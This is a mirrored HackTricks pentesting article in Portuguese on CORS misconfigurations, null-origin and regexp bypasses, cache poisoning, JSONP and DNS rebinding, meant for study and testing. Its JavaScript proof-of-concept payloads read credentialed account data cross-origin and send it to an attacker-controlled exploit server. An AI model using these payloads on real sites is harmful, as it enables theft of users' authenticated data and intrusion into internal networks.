mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
423 lines
27 KiB
Markdown
423 lines
27 KiB
Markdown
# CORS - Configurações Incorretas & Bypass
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## O que é CORS?
|
|
|
|
O padrão CORS (Cross-origin resource sharing) é necessário porque ele **permite que servidores especifiquem quem pode acessar seus ativos** e quais **métodos de requisição HTTP são permitidos** a partir de recursos externos.
|
|
|
|
Uma política de **mesma origem** requer que tanto o **servidor solicitante** de um recurso quanto o servidor onde o **recurso** está localizado usem o mesmo protocolo ([http://), nome de domínio](http://\), nome de domínio) (internal-web.com) e a mesma **porta** (80). Então, se o servidor impõe a política de mesma origem, apenas páginas web do mesmo domínio e porta poderão acessar os recursos.
|
|
|
|
A tabela a seguir mostra como a política de mesma origem seria aplicada em `http://normal-website.com/example/example.html` :
|
|
|
|
| URL acessada | Acesso permitido? |
|
|
| ----------------------------------------- | ---------------------------------- |
|
|
| `http://normal-website.com/example/` | Sim: mesmo esquema, domínio e porta|
|
|
| `http://normal-website.com/example2/` | Sim: mesmo esquema, domínio e porta|
|
|
| `https://normal-website.com/example/` | Não: esquema e porta diferentes |
|
|
| `http://en.normal-website.com/example/` | Não: domínio diferente |
|
|
| `http://www.normal-website.com/example/` | Não: domínio diferente |
|
|
| `http://normal-website.com:8080/example/` | Não: porta diferente\* |
|
|
|
|
\*_O Internet Explorer permitirá este acesso porque o IE não leva em conta o número da porta ao aplicar a política de mesma origem._
|
|
|
|
### Cabeçalho `Access-Control-Allow-Origin`
|
|
|
|
A especificação de `Access-Control-Allow-Origin` permite **múltiplas origens**, ou o valor **`null`**, ou o coringa **`*`**. No entanto, **nenhum navegador suporta múltiplas origens** e existem **restrições** no uso do coringa **`*`**.(_O coringa só pode ser usado sozinho, isso falhará `Access-Control-Allow-Origin: https://*.normal-website.com` e não pode ser usado com_ _Access-Control-Allow-Credentials: true_)
|
|
|
|
Este cabeçalho é **retornado por um servidor** quando um site solicita um recurso de domínio cruzado, com um cabeçalho `Origin` adicionado pelo navegador.
|
|
|
|
### Cabeçalho `Access-Control-Allow-Credentials`
|
|
|
|
O comportamento **padrão** de requisições de recursos de origem cruzada é para que as **requisições** sejam **passadas sem credenciais** como cookies e o cabeçalho de Autorização. No entanto, o servidor de domínio cruzado pode **permitir a leitura** da **resposta** quando **credenciais** são **passadas** para ele, definindo o cabeçalho CORS **`Access-Control-Allow-Credentials`** como **`true`**.
|
|
|
|
Se o valor for definido como `true`, então o navegador enviará credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).
|
|
```javascript
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
console.log(xhr.responseText);
|
|
}
|
|
}
|
|
xhr.open('GET', 'http://example.com/', true);
|
|
xhr.withCredentials = true;
|
|
xhr.send(null);
|
|
```
|
|
|
|
```javascript
|
|
fetch(url, {
|
|
credentials: 'include'
|
|
})
|
|
```
|
|
|
|
```javascript
|
|
const xhr = new XMLHttpRequest();
|
|
xhr.open('POST', 'https://bar.other/resources/post-here/');
|
|
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
|
|
xhr.setRequestHeader('Content-Type', 'application/xml');
|
|
xhr.onreadystatechange = handler;
|
|
xhr.send('<person><name>Arun</name></person>');
|
|
```
|
|
### Pedido de pré-voo
|
|
|
|
Sob certas circunstâncias, quando um pedido entre domínios:
|
|
|
|
* inclui um **método HTTP não padrão (HEAD, GET, POST)**
|
|
* inclui novos **cabeçalhos**
|
|
* inclui um valor especial no cabeçalho **Content-Type**
|
|
|
|
{% hint style="info" %}
|
|
**Verifique** [**neste link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **as condições de um pedido para evitar o envio de um pedido de pré-voo**
|
|
{% endhint %}
|
|
|
|
o pedido entre origens é precedido por um **pedido** usando o método **`OPTIONS`**, e o protocolo CORS exige uma verificação inicial sobre quais **métodos e cabeçalhos são permitidos antes de permitir o pedido entre origens**. Isso é chamado de **verificação de pré-voo**. O servidor **retorna uma lista de métodos permitidos** além da **origem confiável** e o navegador verifica se o método do site solicitante é permitido.
|
|
|
|
{% hint style="danger" %}
|
|
Note que **mesmo que um pedido de pré-voo não seja enviado** porque as condições do "pedido regular" são respeitadas, a **resposta precisa ter os cabeçalhos de autorização** ou o **navegador** **não poderá ler a resposta** do pedido.
|
|
{% endhint %}
|
|
|
|
Por **exemplo**, este é um pedido de pré-voo que está tentando **usar o método `PUT`** juntamente com um **cabeçalho** de pedido **personalizado** chamado `Special-Request-Header`:
|
|
```
|
|
OPTIONS /data HTTP/1.1
|
|
Host: <some website>
|
|
...
|
|
Origin: https://normal-website.com
|
|
Access-Control-Request-Method: PUT
|
|
Access-Control-Request-Headers: Special-Request-Header
|
|
```
|
|
O servidor pode retornar uma resposta como a seguinte:
|
|
```
|
|
HTTP/1.1 204 No Content
|
|
...
|
|
Access-Control-Allow-Origin: https://normal-website.com
|
|
Access-Control-Allow-Methods: PUT, POST, OPTIONS
|
|
Access-Control-Allow-Headers: Special-Request-Header
|
|
Access-Control-Allow-Credentials: true
|
|
Access-Control-Max-Age: 240
|
|
```
|
|
* `Access-Control-Allow-Headers` Cabeçalhos permitidos
|
|
* `Access-Control-Expose-Headers`
|
|
* `Access-Control-Max-Age` Define um tempo máximo para o cache da resposta de pré-voo para reutilização
|
|
* `Access-Control-Request-Headers` O cabeçalho que a solicitação de origem cruzada deseja enviar
|
|
* `Access-Control-Request-Method` O método que a solicitação de origem cruzada deseja usar
|
|
* `Origin` Origem da solicitação de origem cruzada (Definido automaticamente pelo navegador)
|
|
|
|
|
|
|
|
Note que normalmente (dependendo do content-type e dos cabeçalhos definidos) em uma **solicitação GET/POST não é enviada uma solicitação de pré-voo** (a solicitação é enviada **diretamente**), mas se você quiser acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
|
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
|
|
|
|
### **Solicitação de pré-voo de pedidos de rede local**
|
|
|
|
Quando uma solicitação é enviada para um endereço IP de rede local, 2 cabeçalhos CORS adicionais são enviados:
|
|
|
|
* O cabeçalho de solicitação do cliente `Access-Control-Request-Local-Network` indica que a solicitação é um pedido de rede local
|
|
* O cabeçalho de resposta do servidor `Access-Control-Allow-Local-Network` indica que um recurso pode ser compartilhado com segurança com redes externas
|
|
|
|
Uma **resposta válida que permite a solicitação de rede local** precisa ter também na resposta o cabeçalho `Access-Controls-Allow-Local_network: true` :
|
|
```
|
|
HTTP/1.1 200 OK
|
|
...
|
|
Access-Control-Allow-Origin: https://public.example.com
|
|
Access-Control-Allow-Methods: GET
|
|
Access-Control-Allow-Credentials: true
|
|
Access-Control-Allow-Local-Network: true
|
|
Content-Length: 0
|
|
...
|
|
```
|
|
{% hint style="warning" %}
|
|
Observe que o IP **0.0.0.0** do linux funciona para **bypass** desses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
|
|
|
|
Também é possível **bypass nos requisitos de Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Porque em várias ocasiões, mesmo que o **IP público** esteja sendo acessado, se for **da rede local**, o acesso será concedido.
|
|
|
|
|
|
{% endhint %}
|
|
|
|
## Configurações mal configuradas exploráveis
|
|
|
|
Note que a maioria dos **ataques reais requerem `Access-Control-Allow-Credentials`** definido como **`true`**, pois isso permitirá que o navegador envie as credenciais e leia a resposta. Sem credenciais, muitos ataques se tornam irrelevantes; significa que você não pode aproveitar os cookies de um usuário, então muitas vezes não há nada a ganhar fazendo o navegador deles emitir a solicitação em vez de fazê-la você mesmo.
|
|
|
|
Uma exceção notável é quando a **localização de rede da vítima funciona como um tipo de autenticação.** Você pode usar o navegador de uma vítima como um proxy para bypass na autenticação baseada em IP e acessar aplicações de intranet. Em termos de impacto, isso é semelhante ao DNS rebinding, mas muito menos complicado de explorar.
|
|
|
|
### `Origin` refletido em `Access-Control-Allow-Origin`
|
|
|
|
No mundo real isso não pode acontecer, pois **esses 2 valores dos cabeçalhos são proibidos juntos**.\
|
|
Também é verdade que muitos desenvolvedores querem **permitir várias URLs no CORS**, mas curingas de subdomínio ou listas de URLs não são permitidos. Então, vários desenvolvedores **geram** o cabeçalho \*\*`Access-Control-Allow-Origin`\*\* **dinamicamente**, e em mais de uma ocasião eles simplesmente **copiam o valor do cabeçalho Origin**.
|
|
|
|
Nesse caso, a **mesma vulnerabilidade pode ser explorada.**
|
|
|
|
Em outros casos, o desenvolvedor pode verificar se o **domínio** (_victimdomain.com_) **aparece** no cabeçalho **Origin**, então, um atacante pode usar um domínio chamado **`attackervictimdomain.com`** para roubar as informações confidenciais.
|
|
```html
|
|
<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
|
|
function reqListener() {
|
|
location='/log?key='+this.responseText;
|
|
};
|
|
</script>
|
|
```
|
|
### A Origem `null`
|
|
|
|
`null` é um valor especial para o cabeçalho **Origin**. A especificação menciona que ele é acionado por redirecionamentos e arquivos HTML locais. Algumas aplicações podem incluir na lista branca a origem `null` para suportar o desenvolvimento local da aplicação.\
|
|
Isso é bom porque **várias aplicações permitirão esse valor** dentro do CORS e qualquer **site pode facilmente obter a origem null usando um iframe com sandbox**:
|
|
```html
|
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
function reqListener() {
|
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
|
};
|
|
</script>"></iframe>
|
|
```
|
|
|
|
```html
|
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
function reqListener() {
|
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
|
};
|
|
</script>"></iframe>
|
|
```
|
|
### **Bypasses de Regexp**
|
|
|
|
Se você descobriu que o domínio _victim.com_ está na **lista de permissões**, você deve verificar se _victim.com.**attacker.com**_ também está **na lista de permissões**, ou, caso você possa **tomar controle de algum subdomínio**, verifique se _**somesubdomain**.victim.com_ está na lista de permissões.
|
|
|
|
### **Bypasses avançados de Regexp**
|
|
|
|
A maioria dos regex usados para identificar o domínio dentro da string se concentra em caracteres ASCII alfanuméricos e `.-`. Então, algo como `victimdomain.com{.attacker.com` no cabeçalho Origin será interpretado pelo regexp como se o domínio fosse `victimdomain.com`, mas o navegador (neste caso, o Safari suporta este caractere no domínio) acessará o domínio `attacker.com`.
|
|
|
|
O caractere `_` (em subdomínios) não é apenas suportado no Safari, mas também no Chrome e no Firefox!
|
|
|
|
**Então, usando um desses subdomínios, você poderia burlar alguns regex "comuns" para encontrar o domínio principal de uma URL.**
|
|
|
|
**Para mais informações e configurações deste bypass, confira:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
|
|
|
.png>)
|
|
|
|
### De XSS dentro de um subdomínio
|
|
|
|
Um mecanismo de defesa que os desenvolvedores usam contra a exploração de CORS é colocar na lista de permissões domínios que frequentemente solicitam acesso a informações. No entanto, isso não é totalmente seguro, porque se até mesmo **um** dos subdomínios do domínio **na lista de permissões** for **vulnerável** a outros exploits, como **XSS**, isso pode possibilitar a exploração de CORS.
|
|
|
|
Vamos considerar um exemplo, o seguinte código mostra a configuração que permite que subdomínios de _requester.com_ acessem recursos de _provider.com_.
|
|
```javascript
|
|
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
|
{
|
|
//Access data
|
|
else{ // unauthorized access}
|
|
}
|
|
```
|
|
### **Envenenamento de cache do lado do servidor**
|
|
|
|
Se as estrelas estiverem alinhadas, podemos ser capazes de usar envenenamento de cache do lado do servidor via injeção de cabeçalho HTTP para criar uma vulnerabilidade de [XSS armazenado](https://portswigger.net/web-security/cross-site-scripting/stored).
|
|
|
|
Se uma aplicação **reflete** o cabeçalho **Origin** sem sequer verificar a presença de caracteres ilegais como , efetivamente temos uma **vulnerabilidade de injeção de cabeçalho HTTP contra usuários do IE/Edge, pois o Internet Explorer e o Edge consideram \r (0x0d) como um terminador de cabeçalho HTTP válido**:`GET / HTTP/1.1`\
|
|
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
|
|
|
O Internet Explorer vê a resposta como:
|
|
|
|
`HTTP/1.1 200 OK`\
|
|
`Access-Control-Allow-Origin: z`\
|
|
`Content-Type: text/html; charset=UTF-7`
|
|
|
|
Isso não é diretamente explorável porque não há como um atacante fazer com que o navegador web de alguém envie um cabeçalho tão malformado, mas eu posso **criar manualmente esta solicitação no Burp Suite e um cache do lado do servidor pode salvar a resposta e servi-la a outras pessoas**. O payload que usei mudará o conjunto de caracteres da página para **UTF-7**, que é notoriamente útil para criar vulnerabilidades XSS.
|
|
|
|
### **Envenenamento de cache do lado do cliente**
|
|
|
|
Você pode ter ocasionalmente encontrado uma página com [XSS refletido](https://portswigger.net/web-security/cross-site-scripting/reflected) em um cabeçalho HTTP personalizado. Digamos que uma página web reflita o conteúdo de um cabeçalho personalizado sem codificação:
|
|
```http
|
|
GET / HTTP/1.1
|
|
Host: example.com
|
|
X-User-id: <svg/onload=alert\(1\)>
|
|
|
|
HTTP/1.1 200 OK
|
|
Access-Control-Allow-Origin: \*
|
|
Access-Control-Allow-Headers: X-User-id
|
|
Content-Type: text/html
|
|
...
|
|
Invalid user: <svg/onload=alert\(1\)>\
|
|
```
|
|
Com CORS, podemos enviar qualquer valor no Header. Por si só, **isso é inútil** já que a resposta contendo nosso **JavaScript injetado não será renderizado**. No entanto, **se Vary: Origin não foi especificado** a resposta **pode ser armazenada no cache do navegador e exibida diretamente quando o navegador navega para a URL associada**. Eu criei um fiddle para [tentar esse ataque em uma URL de sua escolha](https://jsfiddle.net/3gk8u8wu/3/). Como esse ataque usa o cache do lado do cliente, ele é na verdade bastante confiável.
|
|
```markup
|
|
<script>
|
|
function gotcha() { location=url }
|
|
var req = new XMLHttpRequest();
|
|
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
|
|
req.onload = gotcha;
|
|
req.open('get', url, true);
|
|
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
|
|
req.send();
|
|
</script>
|
|
```
|
|
## Bypass
|
|
|
|
### XSSI (Cross-Site Script Inclusion) / JSONP
|
|
|
|
XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag `script`, a SOP não se aplica, porque os scripts precisam poder ser incluídos entre domínios. Um atacante pode, portanto, ler tudo o que foi incluído usando a tag `script`.
|
|
|
|
Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiente como cookies são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente. Plugin do BurpSuite: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
|
|
|
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
|
|
|
Tente adicionar um **parâmetro `callback`** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará de volta os dados com `Content-Type: application/javascript`, o que contornará a política de CORS.
|
|
|
|
.png>)
|
|
|
|
### Bypass fácil (inútil?)
|
|
|
|
Você pode pedir a uma aplicação web para fazer uma solicitação por você e enviar de volta a resposta. Isso contornará o **`Access-Control-Allow-Origin`**, mas observe que as **credenciais para a vítima final não serão enviadas**, pois você estará **contatando um domínio diferente** (aquele que fará a solicitação por você).
|
|
|
|
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
|
|
|
CORS-escape fornece um **proxy** que **passa** a nossa **solicitação** junto com seus **headers**, e também **falsifica** o header **Origin** (Origin = **domínio solicitado**). Assim, a **política de CORS é contornada**.\
|
|
O código-fonte está [no Github](https://github.com/shalvah/cors-escape), então você pode **hospedar o seu próprio**.
|
|
```javascript
|
|
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
|
```
|
|
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
|
|
|
Proxying é como se fosse "passar adiante" sua solicitação, exatamente como você a enviou. Poderíamos resolver isso de uma maneira alternativa que ainda envolve alguém fazendo a solicitação por você, mas desta vez, **em vez de passar adiante sua solicitação, o servidor faz sua própria solicitação, mas com quaisquer parâmetros que você especificou.**
|
|
|
|
### Iframe + Popup Bypass
|
|
|
|
Você pode **burlar verificações de CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na página a seguir:
|
|
|
|
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
|
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
|
{% endcontent-ref %}
|
|
|
|
### DNS Rebinding via TTL
|
|
|
|
.png>)
|
|
|
|
Basicamente você faz o **usuário acessar sua página**, depois você muda o **DNS do seu domínio (o IP)** e faz com que ele **aponte** para a **página web da vítima**. Você faz sua **vítima executar** (**JS**) algo quando o **TTL terminar** para que uma nova solicitação de DNS seja feita e então você poderá coletar as informações (como você sempre mantém **o usuário em seu domínio**, ele não enviará **nenhum cookie** para o servidor da vítima, então esta opção **abusa dos privilégios especiais do IP da vítima**).
|
|
|
|
Mesmo que você defina o **TTL muito baixo** (0 ou 1), os **navegadores têm um cache** que irá **impedir** que você **abuse** disso por vários segundos/minutos.
|
|
|
|
Portanto, essa técnica é útil para **burlar verificações explícitas** (a vítima está **realizando explicitamente uma solicitação de DNS** para verificar o IP do domínio e quando o bot é chamado ele fará sua própria).
|
|
|
|
Ou quando você pode ter um **usuário/bot na mesma página por um longo tempo** (para que você possa **esperar** até que o **cache expire**).
|
|
|
|
Se você precisar de algo rápido para abusar disso, você pode usar um serviço como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
|
|
|
Se você quiser executar seu próprio servidor de DNS rebinding, você pode usar algo como [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** depois **exponha** sua **porta local 53/udp**, crie um **registro A apontando para ele** (ns.example.com), e crie um **registro NS** apontando para o **subdomínio A criado anteriormente**(ns.example.com).\
|
|
Então, qualquer subdomínio desse subdomínio (ns.example.com), será resolvido pelo seu host.
|
|
|
|
Confira também o **servidor público em execução em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
|
|
|
### DNS Rebinding via **Inundação do Cache de DNS**
|
|
|
|
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **em cache por mais tempo** do que o especificado no TTL. No entanto, há uma maneira de contornar essa defesa.
|
|
|
|
Você pode ter um service worker que irá **inundar o cache de DNS para forçar uma segunda solicitação de DNS**. Então o fluxo será como:
|
|
|
|
1. Solicitação de DNS respondida com endereço do atacante
|
|
2. Service worker inunda o cache de DNS (o nome do servidor atacante em cache é deletado)
|
|
3. Segunda solicitação de DNS desta vez respondida com 127.0.0.1
|
|
|
|
 (1).png>)
|
|
|
|
_Azul é a primeira solicitação de DNS e laranja é a inundação._
|
|
|
|
### DNS Rebinding via **Cache**
|
|
|
|
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **em cache por mais tempo** do que o especificado no TTL. No entanto, há outra maneira de contornar essa defesa.
|
|
|
|
Você pode **criar 2 registros A** (ou **1 com 2 IPs**, dependendo do provedor) para o **mesmo subdomínio** no **provedor de DNS** e quando um navegador verificar por eles, ele receberá ambos.
|
|
|
|
Agora, se o **navegador** decidir **usar primeiro o endereço IP do atacante**, o **atacante** poderá **servir** o **payload** que irá **realizar solicitações HTTP** para o mesmo **domínio**. No entanto, agora que o atacante conhece o IP da vítima, **ele parará de responder ao navegador da vítima**.
|
|
|
|
Quando o navegador perceber que o **domínio não está respondendo**, ele **usará o segundo IP fornecido**, então ele **acessará um local diferente burlando SOP**. O atacante pode abusar disso para **obter as informações e exfiltrá-las**.
|
|
|
|
{% hint style="warning" %}
|
|
Observe que para acessar localhost você deve tentar reassociar **127.0.0.1** no Windows e **0.0.0.0** no linux.\
|
|
Provedores como godaddy ou cloudflare não me permitiram usar o ip 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs sendo um deles "0.0.0.0"
|
|
|
|
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
|
{% endhint %}
|
|
|
|
 (4).png>)
|
|
|
|
Para mais informações, você pode conferir [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
|
|
|
### Outros Bypasses Comuns
|
|
|
|
* Se **IPs internos não são permitidos**, eles podem **ter esquecido de proibir 0.0.0.0** (funciona no Linux e Mac)
|
|
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona no Linux e Mac)
|
|
* Se **IPs internos não são permitidos** como respostas de DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
|
|
|
### DNS Rebidding Armado
|
|
|
|
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
|
|
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reassociar o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
|
|
|
### Proteção Real contra DNS Rebinding
|
|
|
|
* Use TLS em serviços internos
|
|
* Solicite autenticação para acessar dados
|
|
* Valide o cabeçalho Host
|
|
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposta para sempre enviar uma solicitação de pré-voo quando servidores públicos querem acessar servidores internos
|
|
|
|
## **Ferramentas**
|
|
|
|
**Fuzz possíveis má configurações em políticas de CORS**
|
|
|
|
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
|
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
|
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
|
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
|
|
|
## Referências
|
|
|
|
{% embed url="https://portswigger.net/web-security/cors" %}
|
|
|
|
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
|
|
|
|
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
|
|
|
|
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
|
|
|
|
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
|
|
|
|
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
|
|
|
|
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|